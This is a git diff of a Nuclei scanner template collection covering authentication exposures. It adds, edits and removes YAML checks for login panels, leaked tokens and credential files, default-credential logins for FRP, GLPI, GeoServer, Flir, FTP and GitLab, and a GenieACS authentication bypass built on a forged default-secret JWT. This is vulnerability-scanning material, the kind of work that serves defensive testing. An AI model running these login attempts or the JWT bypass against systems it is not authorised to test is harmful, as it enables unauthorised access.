4b0a00483046022100b4c833c742969941b79dd53965e559ef854aec2ea13d6c2000d40753a0223148022100f1f9009e6e8ba1406c86efd1ca3c1682002e83aac5b87b1aa4ccbdfbc05983d7:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/exposed-authentication-asmx-7288.yaml b/poc/auth/exposed-authentication-asmx-7288.yaml index f60e3ec195..419b353a14 100644 --- a/poc/auth/exposed-authentication-asmx-7288.yaml +++ b/poc/auth/exposed-authentication-asmx-7288.yaml @@ -1,20 +1,25 @@ id: exposed-authentication-asmx + info: name: Exposed Authentication.asmx author: DhiyaneshDk severity: low - reference: https://www.exploit-db.com/ghdb/6604 + reference: + - https://www.exploit-db.com/ghdb/6604 tags: config,exposure + requests: - method: GET path: - "{{BaseURL}}/_vti_bin/Authentication.asmx?op=Mode" + matchers-condition: and matchers: - type: word words: - "Authentication Web Service" part: body + - type: status status: - 200 diff --git a/poc/auth/faraday-login-7396.yaml b/poc/auth/faraday-login-7393.yaml similarity index 100% rename from poc/auth/faraday-login-7396.yaml rename to poc/auth/faraday-login-7393.yaml diff --git a/poc/auth/faraday-login-7397.yaml b/poc/auth/faraday-login-7397.yaml new file mode 100644 index 0000000000..26856e1e03 --- /dev/null +++ b/poc/auth/faraday-login-7397.yaml @@ -0,0 +1,23 @@ +id: faraday-login + +info: + name: Faraday Login + author: dhiyaneshDK + severity: info + reference: https://www.shodan.io/search?query=html%3A%22faradayApp%22 + tags: panel,faraday + +requests: + - method: GET + path: + - '{{BaseURL}}/#/login' + + matchers-condition: and + matchers: + - type: word + words: + - 'ng-app="faradayApp">' + + - type: status + status: + - 200 diff --git a/poc/auth/faraday-login.yaml b/poc/auth/faraday-login.yaml index 26856e1e03..3643ca943d 100644 --- a/poc/auth/faraday-login.yaml +++ b/poc/auth/faraday-login.yaml @@ -1,13 +1,20 @@ id: faraday-login info: - name: Faraday Login + name: Faraday Login Panel - Detect author: dhiyaneshDK severity: info - reference: https://www.shodan.io/search?query=html%3A%22faradayApp%22 + description: Faraday login panel was detected. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 + metadata: + max-request: 1 + shodan-query: html:"faradayApp" tags: panel,faraday -requests: +http: - method: GET path: - '{{BaseURL}}/#/login' @@ -21,3 +28,5 @@ requests: - type: status status: - 200 + +# digest: 4b0a00483046022100bf48cffb7431a96a76c0fd5421943cb7c9b4929995a661dd1a831083fe9d81a3022100e26b29e0428fb897ab31b91aef30baeb0efd4e66a242060a127187ce235f3499:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/fatpipe-auth-bypass-7431.yaml b/poc/auth/fatpipe-auth-bypass-7431.yaml deleted file mode 100644 index 50a5f2a66b..0000000000 --- a/poc/auth/fatpipe-auth-bypass-7431.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: fatpipe-auth-bypass - -info: - name: FatPipe WARP 10.2.2 - Authorization Bypass - author: gy741 - severity: high - description: FatPipe WARP 10.2.2 contains an authorization bypass vulnerability. Improper access control occurs when the application provides direct access to objects based on user-supplied input. As a result, an attacker can bypass proper authorization and access resources behind protected pages. - reference: - - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5682.php - - https://www.fatpipeinc.com/support/advisories.php - metadata: - max-request: 1 - tags: fatpipe,auth-bypass,router - -http: - - raw: - - | - GET /fpui/jsp/index.jsp HTTP/1.1 - Host: {{Hostname}} - Accept: */* - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "productType" - - "type:" - - "version:" - - "FatPipe Networks" - condition: and - - extractors: - - type: regex - part: body - regex: - - 'version: "([0-9.a-z]+)"' - -# digest: 4a0a00473045022100d1edc48e65ce1c70eb9bace16c5bcd95326c7db7e6e46ce8d3dd077774c7b5b6022051350553635bcf5ed8bd71299dc6e198acde0bf60a878b29c8e1ba5e21a30866:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/fatpipe-auth-bypass.yaml b/poc/auth/fatpipe-auth-bypass.yaml new file mode 100644 index 0000000000..01f8c435f9 --- /dev/null +++ b/poc/auth/fatpipe-auth-bypass.yaml @@ -0,0 +1,33 @@ +id: fatpipe-auth-bypass +info: + name: FatPipe Networks WARP 10.2.2 Authorization Bypass + author: gy741 + severity: high + description: Improper access control occurs when the application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources behind protected pages. + reference: + - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5682.php + - https://www.fatpipeinc.com/support/advisories.php + tags: fatpipe,auth-bypass,router +requests: + - raw: + - | + GET /fpui/jsp/index.jsp HTTP/1.1 + Host: {{Hostname}} + Accept: */* + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "productType" + - "type:" + - "version:" + - "FatPipe Networks" + condition: and + extractors: + - type: regex + part: body + regex: + - 'version: "([0-9.a-z]+)"' diff --git a/poc/auth/fcm-server-key-7453.yaml b/poc/auth/fcm-server-key-7453.yaml deleted file mode 100644 index e97903cc84..0000000000 --- a/poc/auth/fcm-server-key-7453.yaml +++ /dev/null @@ -1,16 +0,0 @@ -id: fcm-server-key -info: - name: FCM Server Key - author: Abss (@absshax) - severity: high - tags: exposure,token,google - reference: https://abss.me/posts/fcm-takeover -requests: - - method: GET - path: - - "{{BaseURL}}" - extractors: - - type: regex - part: body - regex: - - "AAAA[a-zA-Z0-9_-]{7}:[a-zA-Z0-9_-]{140}" diff --git a/poc/auth/fcm-server-key-7454.yaml b/poc/auth/fcm-server-key-7454.yaml new file mode 100644 index 0000000000..4864fba0a5 --- /dev/null +++ b/poc/auth/fcm-server-key-7454.yaml @@ -0,0 +1,19 @@ +id: fcm-server-key + +info: + name: FCM Server Key + author: absshax + severity: high + tags: exposure,token,google + reference: https://abss.me/posts/fcm-takeover + +requests: + - method: GET + path: + - "{{BaseURL}}" + + extractors: + - type: regex + part: body + regex: + - "AAAA[a-zA-Z0-9_-]{7}:[a-zA-Z0-9_-]{140}" \ No newline at end of file diff --git a/poc/auth/flir-default-login.yaml b/poc/auth/flir-default-login.yaml new file mode 100644 index 0000000000..c98ccc6f1c --- /dev/null +++ b/poc/auth/flir-default-login.yaml @@ -0,0 +1,35 @@ +id: flir-default-login +info: + name: Flir Default Login + author: pikpikcu + severity: medium + tags: default-login,flir,camera,iot +requests: + - raw: + - | + POST /login/dologin HTTP/1.1 + Host: {{Hostname}} + Accept: */* + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + user_name={{username}}&user_password={{password}} + payloads: + username: + - admin + password: + - admin + attack: pitchfork + matchers-condition: and + matchers: + - type: word + words: + - '"success"' + - type: dsl + dsl: + - contains(tolower(all_headers), 'text/html') + - contains(tolower(all_headers), 'phpsessid') + - contains(tolower(all_headers), 'showcameraid') + condition: and + - type: status + status: + - 200 diff --git a/poc/auth/frp-default-login-7556.yaml b/poc/auth/frp-default-login-7556.yaml index bb194a6805..0402c27460 100644 --- a/poc/auth/frp-default-login-7556.yaml +++ b/poc/auth/frp-default-login-7556.yaml @@ -1,33 +1,38 @@ id: frp-default-login + info: name: FRP Default Login author: pikpikcu severity: high description: FRP default login credentials were discovered. - reference: - - https://github.com/fatedier/frp/issues/1840 + tags: frp,default-login + reference: https://github.com/fatedier/frp/issues/1840 classification: cwe-id: CWE-798 - tags: frp,default-login + requests: - raw: - | GET /api/proxy/tcp HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(username + ':' + password)}} + payloads: username: - admin password: - admin attack: pitchfork + matchers-condition: and matchers: + - type: word words: - "proxies" part: body condition: and + - type: status status: - 200 diff --git a/poc/auth/frp-default-login-7559.yaml b/poc/auth/frp-default-login-7559.yaml new file mode 100644 index 0000000000..bb194a6805 --- /dev/null +++ b/poc/auth/frp-default-login-7559.yaml @@ -0,0 +1,35 @@ +id: frp-default-login +info: + name: FRP Default Login + author: pikpikcu + severity: high + description: FRP default login credentials were discovered. + reference: + - https://github.com/fatedier/frp/issues/1840 + classification: + cwe-id: CWE-798 + tags: frp,default-login +requests: + - raw: + - | + GET /api/proxy/tcp HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username + ':' + password)}} + payloads: + username: + - admin + password: + - admin + attack: pitchfork + matchers-condition: and + matchers: + - type: word + words: + - "proxies" + part: body + condition: and + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/03 diff --git a/poc/auth/frp-default-login.yaml b/poc/auth/frp-default-login.yaml new file mode 100644 index 0000000000..601e60ca39 --- /dev/null +++ b/poc/auth/frp-default-login.yaml @@ -0,0 +1,34 @@ +id: frp-default-login +info: + name: FRP Default Login + author: pikpikcu + severity: high + description: FRP default login credentials were discovered. + tags: frp,default-login + reference: https://github.com/fatedier/frp/issues/1840 + classification: + cwe-id: CWE-798 +requests: + - raw: + - | + GET /api/proxy/tcp HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username + ':' + password)}} + payloads: + username: + - admin + password: + - admin + attack: pitchfork + matchers-condition: and + matchers: + - type: word + words: + - "proxies" + part: body + condition: and + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/03 diff --git a/poc/auth/ftp-weak-credentials-7569.yaml b/poc/auth/ftp-weak-credentials-7569.yaml new file mode 100644 index 0000000000..a3c092e56a --- /dev/null +++ b/poc/auth/ftp-weak-credentials-7569.yaml @@ -0,0 +1,35 @@ +id: ftp-weak-credentials + +info: + name: FTP Service with weak credentials + author: pussycat0x + severity: critical + tags: network,ftp,default-login,service + +network: + + - inputs: + - data: "USER {{username}}\r\nPASS {{password}}\r\n" + + host: + - "{{Hostname}}" + - "{{Host}}:21" + + attack: clusterbomb + payloads: + username: + - admin + - root + password: + - password + - toor + - nas + - guest + - default + - pass1 + - stingray + + matchers: + - type: word + words: + - "230 Login successful" diff --git a/poc/auth/ftp-weak-credentials.yaml b/poc/auth/ftp-weak-credentials.yaml index a81c1773d3..674d11a355 100644 --- a/poc/auth/ftp-weak-credentials.yaml +++ b/poc/auth/ftp-weak-credentials.yaml @@ -1,5 +1,4 @@ id: ftp-weak-credentials - info: name: FTP Service - Credential Weakness author: pussycat0x @@ -8,21 +7,15 @@ info: reference: - https://docs.microsoft.com/en-us/iis/configuration/system.applicationhost/sites/sitedefaults/ftpserver/security/authentication/ classification: - cvss-metrics: 3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N cvss-score: 8.5 - metadata: - max-request: 1 + cvss-metrics: 3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N tags: network,ftp,default-login,service - -tcp: - +network: - inputs: - data: "USER {{username}}\r\nPASS {{password}}\r\n" - host: - "{{Hostname}}" - port: 21 - + - "{{Host}}:21" attack: clusterbomb payloads: username: @@ -36,9 +29,9 @@ tcp: - default - pass1 - stingray - matchers: - type: word words: - "230 Login successful" -# digest: 4a0a0047304502210091443984db463385943f03987aba6dc71b402521fe000709f10ef889b8513bad0220404de36585bc13279c4c256e013fcd8125eacf1b882f564130ca8007abd74220:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/05/23 diff --git a/poc/auth/general-tokens-7586.yaml b/poc/auth/general-tokens-7586.yaml index f52ed99c96..6ade1f3cd0 100644 --- a/poc/auth/general-tokens-7586.yaml +++ b/poc/auth/general-tokens-7586.yaml @@ -1,16 +1,13 @@ id: generic-tokens - info: name: Generic Tokens author: nadino,geeknik - severity: unknown + severity: info tags: exposure,token,generic - requests: - method: GET path: - '{{BaseURL}}' - matchers-condition: and matchers: - type: dsl @@ -21,18 +18,16 @@ requests: - regex("SECRET[\\-|_|A-Z0-9]*(\'|\")?(:|=)(\'|\")?[\\-|_|A-Z0-9]{10}",replace(toupper(body),"","")) - regex("AUTHORIZATION[\\-|_|A-Z0-9]*(\'|\")?(:|=)(\'|\")?[\\-|_|A-Z0-9]{10}",replace(toupper(body),"","")) - regex("PASSWORD[\\-|_|A-Z0-9]*(\'|\")?(:|=)(\'|\")?[\\-|_|A-Z0-9]{10}",replace(toupper(body),"","")) - - type: regex part: body regex: - '(?i)key(sinternal|up|down|press|boardnavigation|words?|board|ebrow|board_fill|_retry_interval|_fetched|_expiresat|board_shortcuts|s_close|s_previous|s_next|s_zoom|s_play_pause)' - - '(?i)password(protection|lessauth|requirementsashtmllist|emailnotfoundmessage|label|errormessage|message|_checkemail_title|_newfield_retype|_text_new|login_submit|_has_expired_title|_has_expired_text|_error|_hint|_strength)' + - '(?i)password(lessauth|requirementsashtmllist|emailnotfoundmessage|label|errormessage|message|_checkemail_title|_newfield_retype|_text_new|login_submit|_has_expired_title|_has_expired_text|_error|_hint|_strength)' - '(?i)(!native)|(.*keybindings)' - '(?i)(layout|a)key' - '(?i)token_expires_in' condition: or negative: true - extractors: - type: regex part: body diff --git a/poc/auth/genieacs-default-jwt.yaml b/poc/auth/genieacs-default-jwt.yaml new file mode 100644 index 0000000000..e423a75f66 --- /dev/null +++ b/poc/auth/genieacs-default-jwt.yaml @@ -0,0 +1,56 @@ +id: genieacs-default-jwt + +info: + name: GenieACS - Authentication Bypass (Default JWT Secret) + author: DhiyaneshDK,pussycat0x + severity: high + description: | + GenieACS, an Auto Configuration Server (ACS) for TR-069 enabled routers and similar devices, is vulnerable to authentication bypass due to the use of a default JWT secret. During installation, if the default JWT secret "secret" is not changed, an attacker can create a JWT token, sign it, and use this token to log into the GenieACS UI interface. The attack is carried out by setting a cookie named "genieacs-ui-jwt" with its value being the JWT token. + reference: + - https://0x00sec.org/t/genieacs-and-the-tale-of-default-jwt-secret/32738 + classification: + cwe-id: CWE-798 + cpe: cpe:2.3:a:genieacs:genieacs:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: genieacs + product: genieacs + shodan-query: http.html:"genieacs" + tags: misconfig,jwt,genieacs,default-jwt +variables: + cookie_name: genieacs-ui-jwt + default_jwt_secret: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiYXV0aE1ldGhvZCI6ImxvY2FsIiwiaWF0IjoxNzgyNTc0NDEyfQ.y2JaygP5n4WBYQ_dytgS0qet0b6KvtT31UJWqee4L6c + +http: + - raw: + - | + GET /api/presets/?filter=true HTTP/1.1 + Host: {{Hostname}} + Accept: application/json, text/* + Cookie: {{cookie_name}}={{default_jwt_secret}} + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"provision":' + - '"provisionArgs":' + condition: and + + - type: word + part: header + words: + - application/json + + - type: status + status: + - 200 + + extractors: + - type: dsl + dsl: + - '"JWT Secret 👉 " + cookie_name + "=" + default_jwt_secret' + +# digest: 490a004630440220389b51224a53596dc94027b27c7c3737a69f45b30141e0239c63d681e26f5dfe02205b7fd4b5e07ef3f0a9397a734a5b859acd9b4edf58c16c1c39a80d28730a1240:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/geoserver-default-login-7593.yaml b/poc/auth/geoserver-default-login-7593.yaml index 8826f11126..bfa4f285ae 100644 --- a/poc/auth/geoserver-default-login-7593.yaml +++ b/poc/auth/geoserver-default-login-7593.yaml @@ -1,23 +1,22 @@ id: geoserver-default-login info: - name: Geoserver Admin - Default Login - author: For3stCo1d,professorabhay,ritikchaddha + name: Geoserver Default Admin Login + author: For3stCo1d severity: high description: Geoserver default admin credentials were discovered. reference: - http://geoserver.org/ + metadata: + fofa-query: app="GeoServer" classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 + cve-id: cwe-id: CWE-522 - metadata: - verified: true - max-request: 2 - fofa-query: app="GeoServer" tags: geoserver,default-login -http: +requests: - raw: - | POST /geoserver/j_spring_security_check HTTP/1.1 @@ -25,9 +24,6 @@ http: Content-Type: application/x-www-form-urlencoded username={{user}}&password={{pass}} - - | - GET /geoserver/web/ HTTP/1.1 - Host: {{Hostname}} attack: pitchfork payloads: @@ -35,14 +31,17 @@ http: - admin pass: - geoserver - host-redirects: true - max-redirects: 2 + + matchers-condition: and matchers: - type: dsl dsl: - - "contains(tolower(location_1), '/geoserver/web') && contains(body_2, 'admin')" - - "!contains(tolower(location_1), 'error=true')" - - 'status_code_1 == 302' + - "contains(tolower(location), '/geoserver/web')" + - "!contains(tolower(location), 'error=true')" condition: and -# digest: 4b0a00483046022100a9f8c66846579a4d8b3b2111a9538eba5e79ee0f9a5a5eb24b89d3e3d61070d5022100fe8f6fc7dcbc6a8ee37a9f4ef22fc0d6cad9aa606b8b3216e83b97e67e3d842f:922c64590222798bb761d5b6d8e72950 + - type: status + status: + - 302 + +# Enhanced by mp on 2022/03/28 diff --git a/poc/auth/geoserver-default-login-7594.yaml b/poc/auth/geoserver-default-login-7594.yaml index b7289715f5..0c98134403 100644 --- a/poc/auth/geoserver-default-login-7594.yaml +++ b/poc/auth/geoserver-default-login-7594.yaml @@ -6,12 +6,13 @@ info: description: Geoserver default admin credentials were discovered. reference: - http://geoserver.org/ + metadata: + fofa-query: app="GeoServer" classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 + cve-id: cwe-id: CWE-522 - metadata: - fofa-query: app="GeoServer" tags: geoserver,default-login requests: - raw: diff --git a/poc/auth/git-credentials-7644.yaml b/poc/auth/git-credentials-7644.yaml index 408fa710c4..cdbf50161e 100644 --- a/poc/auth/git-credentials-7644.yaml +++ b/poc/auth/git-credentials-7644.yaml @@ -1,7 +1,7 @@ id: git-credentials info: name: Github Authentication Dotfile - author: geeknik + author: nithissh severity: high tags: github,auth requests: diff --git a/poc/auth/git-credentials-disclosure-7641.yaml b/poc/auth/git-credentials-disclosure-7641.yaml new file mode 100644 index 0000000000..eea3b041d2 --- /dev/null +++ b/poc/auth/git-credentials-disclosure-7641.yaml @@ -0,0 +1,41 @@ +id: git-credentials-disclosure + +info: + name: Git Credentials - Detect + author: dhiyaneshDk + severity: medium + description: Git credentials were detected. + reference: + - https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/git-credentials-disclosure.json + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cwe-id: CWE-200 + metadata: + max-request: 1 + tags: exposure,config + +http: + - method: GET + path: + - "{{BaseURL}}/.git-credentials" + + matchers-condition: and + matchers: + - type: word + words: + - "https://" + - "@github.com" + condition: and + + - type: status + status: + - 200 + + - type: word + part: header + words: + - "text/html" + negative: true + +# digest: 4a0a0047304502207f33de0b0122e9fb053180049d0a8923f1c0b2063f7c27a6deb8142dd2d4efe6022100c35f1c945ad19eb650a81278258637df08546482f69a3191fdf1fc706e71a28f:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/github-personal-token.yaml b/poc/auth/github-personal-token.yaml index 4237031c54..869cf6356d 100644 --- a/poc/auth/github-personal-token.yaml +++ b/poc/auth/github-personal-token.yaml @@ -1,13 +1,18 @@ id: github-personal-token + info: name: Github Personal Token author: geeknik severity: high - tags: token,file + tags: token,file,github file: - extensions: - all + extractors: - type: regex regex: - "ghp_.{36}" + - "github_pat_.{82}" + +# digest: 4a0a00473045022100e080d843c580806912ae8ef53bcc31a18d8fc5ba1fc008cbbe9b474d404fee3e02206ae7b2e3732639f7276d13a40c4b6ae4efd9a68153c9157e063225ad8a104845:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/gitlab-public-signup-7683.yaml b/poc/auth/gitlab-public-signup-7683.yaml new file mode 100644 index 0000000000..079f9e77fd --- /dev/null +++ b/poc/auth/gitlab-public-signup-7683.yaml @@ -0,0 +1,34 @@ +id: gitlab-public-signup + +info: + name: GitLab public signup + author: pdteam + severity: info + metadata: + shodan-query: http.title:"GitLab" + tags: gitlab,misconfig + +requests: + - method: GET + path: + - "{{BaseURL}}/users/sign_in" + + matchers-condition: and + matchers: + - type: word + words: + - 'Register now' + - 'data-qa-selector="new_user_register_button"' + + - type: word + words: + - 'https://about.gitlab.com' + + - type: status + status: + - 200 + + - type: word + negative: true + words: + - '' \ No newline at end of file diff --git a/poc/auth/gitlab-public-signup-7684.yaml b/poc/auth/gitlab-public-signup-7684.yaml index 7fa82fb778..2a11c0ae82 100644 --- a/poc/auth/gitlab-public-signup-7684.yaml +++ b/poc/auth/gitlab-public-signup-7684.yaml @@ -1,32 +1,28 @@ id: gitlab-public-signup - info: name: GitLab public signup author: pdteam severity: info + metadata: + shodan-query: http.title:"GitLab" tags: gitlab,misconfig - requests: - method: GET path: - "{{BaseURL}}/users/sign_in" - matchers-condition: and matchers: - type: word words: - 'Register now' - 'data-qa-selector="new_user_register_button"' - - type: word words: - 'https://about.gitlab.com' - - type: status status: - 200 - - type: word negative: true words: - - '' \ No newline at end of file + - '' diff --git a/poc/auth/gitlab-weak-login.yaml b/poc/auth/gitlab-weak-login-7704.yaml similarity index 100% rename from poc/auth/gitlab-weak-login.yaml rename to poc/auth/gitlab-weak-login-7704.yaml diff --git a/poc/auth/gitlab-weak-login-7706.yaml b/poc/auth/gitlab-weak-login-7706.yaml index 8661cc7f22..7fb809fb41 100644 --- a/poc/auth/gitlab-weak-login-7706.yaml +++ b/poc/auth/gitlab-weak-login-7706.yaml @@ -1,17 +1,21 @@ id: gitlab-weak-login + info: - name: Gitlab Weak Login + name: Gitlab Default Login author: Suman_Kar,dwisiswant0 severity: high - tags: gitlab,default-login + description: Gitlab default login credentials were discovered. reference: - https://twitter.com/0xmahmoudJo0/status/1467394090685943809 - https://git-scm.com/book/en/v2/Git-on-the-Server-GitLab + classification: + cwe-id: CWE-798 metadata: + max-request: 6 shodan-query: http.title:"GitLab" -# Gitlab blocks for 10 minutes after 5 "Invalid" attempts for valid user. -# So make sure, not to attempt more than 4 password for same valid user. -requests: + tags: gitlab,default-login + +http: - raw: - | POST /oauth/token HTTP/1.1 @@ -21,6 +25,7 @@ requests: content-type: application/json {"grant_type":"password","username":"{{username}}","password":"{{password}}"} + attack: clusterbomb payloads: username: @@ -30,15 +35,18 @@ requests: password: - "5iveL!fe" - "123456789" + matchers-condition: and matchers: - type: status status: - 200 + - type: word part: header words: - application/json + - type: word part: body words: @@ -46,3 +54,5 @@ requests: - '"token_type":' - '"refresh_token":' condition: and + +# digest: 490a00463044022046b016d8df18dcff00ce41916e0870b3f20c707fc3edd900dbf9897898a41c0d022048a9aeebcf2906096985bd0cadec4bafd6bfa5dd5b3bbd959b1d3c5b0eb4186e:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/glpi-authentication-7730.yaml b/poc/auth/glpi-authentication-7730.yaml new file mode 100644 index 0000000000..96d6634fba --- /dev/null +++ b/poc/auth/glpi-authentication-7730.yaml @@ -0,0 +1,25 @@ +id: glpi-authentication + +info: + name: GLPI - Authentication + author: dhiyaneshDK + severity: info + metadata: + shodan-query: http.title:"GLPI - Authentication" + tags: panel,auth,glpi + +requests: + - method: GET + path: + - '{{BaseURL}}' + + matchers-condition: and + matchers: + - type: word + words: + - 'GLPI - Authentication' + - 'title="Powered by Teclib and contributors" class="copyright">GLPI Copyright' + + - type: status + status: + - 200 diff --git a/poc/auth/glpi-authentication.yaml b/poc/auth/glpi-authentication.yaml index 96d6634fba..8df8e5db76 100644 --- a/poc/auth/glpi-authentication.yaml +++ b/poc/auth/glpi-authentication.yaml @@ -1,25 +1,21 @@ id: glpi-authentication - info: name: GLPI - Authentication author: dhiyaneshDK severity: info - metadata: - shodan-query: http.title:"GLPI - Authentication" + reference: + - https://www.shodan.io/search?query=http.title%3A%22GLPI+-+Authentication%22 tags: panel,auth,glpi - requests: - method: GET path: - '{{BaseURL}}' - matchers-condition: and matchers: - type: word words: - 'GLPI - Authentication' - 'title="Powered by Teclib and contributors" class="copyright">GLPI Copyright' - - type: status status: - 200 diff --git a/poc/auth/glpi-default-login-7731.yaml b/poc/auth/glpi-default-login-7731.yaml index 26612339e6..e411c10039 100644 --- a/poc/auth/glpi-default-login-7731.yaml +++ b/poc/auth/glpi-default-login-7731.yaml @@ -1,21 +1,19 @@ id: glpi-default-login - info: name: GLPI Default Login author: andysvints severity: high - tags: glpi,default-login description: GLPI default login credentials were discovered. GLPI is an ITSM software tool that helps you plan and manage IT changes. This template checks if a default super admin account (glpi/glpi) is enabled. - reference: https://glpi-project.org/ + reference: + - https://glpi-project.org/ classification: cwe-id: CWE-798 - + tags: glpi,default-login requests: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} - - | POST /front/login.php HTTP/1.1 Host: {{Hostname}} @@ -24,14 +22,12 @@ requests: Referer: {{BaseURL}} {{name}}={{user}}&{{password}}={{pass}}&auth=local&submit=Submit&_glpi_csrf_token={{token}} - attack: pitchfork payloads: user: - glpi pass: - glpi - extractors: - type: regex name: token @@ -40,7 +36,6 @@ requests: group: 1 regex: - "hidden\" name=\"_glpi_csrf_token\" value=\"([0-9a-z]+)\"" - - type: regex name: name part: body @@ -48,7 +43,6 @@ requests: group: 1 regex: - "type=\"text\" name=\"([0-9a-z]+)\" id=\"login_name\" required=\"required\"" - - type: regex name: password part: body @@ -56,14 +50,12 @@ requests: group: 1 regex: - "type=\"password\" name=\"([0-9a-z]+)\" id=\"login_password\" required=\"required\"" - cookie-reuse: true matchers-condition: and matchers: - type: word words: - 'GLPI - Standard Interface' - - type: status status: - 200 diff --git a/poc/auth/glpi-default-login-7732.yaml b/poc/auth/glpi-default-login-7732.yaml deleted file mode 100644 index e411c10039..0000000000 --- a/poc/auth/glpi-default-login-7732.yaml +++ /dev/null @@ -1,63 +0,0 @@ -id: glpi-default-login -info: - name: GLPI Default Login - author: andysvints - severity: high - description: GLPI default login credentials were discovered. GLPI is an ITSM software tool that helps you plan and manage IT changes. This template checks if a default super admin account (glpi/glpi) is enabled. - reference: - - https://glpi-project.org/ - classification: - cwe-id: CWE-798 - tags: glpi,default-login -requests: - - raw: - - | - GET / HTTP/1.1 - Host: {{Hostname}} - - | - POST /front/login.php HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - Content-Type: application/x-www-form-urlencoded - Referer: {{BaseURL}} - - {{name}}={{user}}&{{password}}={{pass}}&auth=local&submit=Submit&_glpi_csrf_token={{token}} - attack: pitchfork - payloads: - user: - - glpi - pass: - - glpi - extractors: - - type: regex - name: token - part: body - internal: true - group: 1 - regex: - - "hidden\" name=\"_glpi_csrf_token\" value=\"([0-9a-z]+)\"" - - type: regex - name: name - part: body - internal: true - group: 1 - regex: - - "type=\"text\" name=\"([0-9a-z]+)\" id=\"login_name\" required=\"required\"" - - type: regex - name: password - part: body - internal: true - group: 1 - regex: - - "type=\"password\" name=\"([0-9a-z]+)\" id=\"login_password\" required=\"required\"" - cookie-reuse: true - matchers-condition: and - matchers: - - type: word - words: - - 'GLPI - Standard Interface' - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/03 diff --git a/poc/auth/glpi-default-login.yaml b/poc/auth/glpi-default-login.yaml deleted file mode 100644 index 63857480c0..0000000000 --- a/poc/auth/glpi-default-login.yaml +++ /dev/null @@ -1,62 +0,0 @@ -id: glpi-default-login -info: - name: GLPI Default Login - author: andysvints - severity: high - tags: glpi,default-login - description: GLPI default login credentials were discovered. GLPI is an ITSM software tool that helps you plan and manage IT changes. This template checks if a default super admin account (glpi/glpi) is enabled. - reference: https://glpi-project.org/ - classification: - cwe-id: CWE-798 -requests: - - raw: - - | - GET / HTTP/1.1 - Host: {{Hostname}} - - | - POST /front/login.php HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - Content-Type: application/x-www-form-urlencoded - Referer: {{BaseURL}} - - {{name}}={{user}}&{{password}}={{pass}}&auth=local&submit=Submit&_glpi_csrf_token={{token}} - attack: pitchfork - payloads: - user: - - glpi - pass: - - glpi - extractors: - - type: regex - name: token - part: body - internal: true - group: 1 - regex: - - "hidden\" name=\"_glpi_csrf_token\" value=\"([0-9a-z]+)\"" - - type: regex - name: name - part: body - internal: true - group: 1 - regex: - - "type=\"text\" name=\"([0-9a-z]+)\" id=\"login_name\" required=\"required\"" - - type: regex - name: password - part: body - internal: true - group: 1 - regex: - - "type=\"password\" name=\"([0-9a-z]+)\" id=\"login_password\" required=\"required\"" - cookie-reuse: true - matchers-condition: and - matchers: - - type: word - words: - - 'GLPI - Standard Interface' - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/03 diff --git a/poc/auth/glpi-login-7736.yaml b/poc/auth/glpi-login-7736.yaml index 8b63f599d1..8476d66264 100644 --- a/poc/auth/glpi-login-7736.yaml +++ b/poc/auth/glpi-login-7736.yaml @@ -1,15 +1,19 @@ id: glpi-login + info: name: GLPI - Аутентификация author: dhiyaneshDk severity: info - reference: https://www.exploit-db.com/ghdb/7002 + reference: + - https://www.exploit-db.com/ghdb/7002 tags: panel,glpi + requests: - method: GET path: - '{{BaseURL}}' - '{{BaseURL}}/glpi/' + matchers: - type: word words: diff --git a/poc/auth/gmail-api-client-secrets-7741.yaml b/poc/auth/gmail-api-client-secrets-7741.yaml new file mode 100644 index 0000000000..72f7d06ecc --- /dev/null +++ b/poc/auth/gmail-api-client-secrets-7741.yaml @@ -0,0 +1,40 @@ +id: gmail-api-client-secrets + +info: + name: GMail API - Detect + author: geeknik + severity: info + description: GMail API was detected. + reference: https://developers.google.com/gmail/api/auth/web-server + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 + metadata: + max-request: 1 + tags: config,exposure + +http: + - method: GET + path: + - "{{BaseURL}}/client_secrets.json" + + matchers-condition: and + matchers: + - type: word + words: + - "client_id" + - "auth_uri" + - "token_uri" + condition: and + + - type: status + status: + - 200 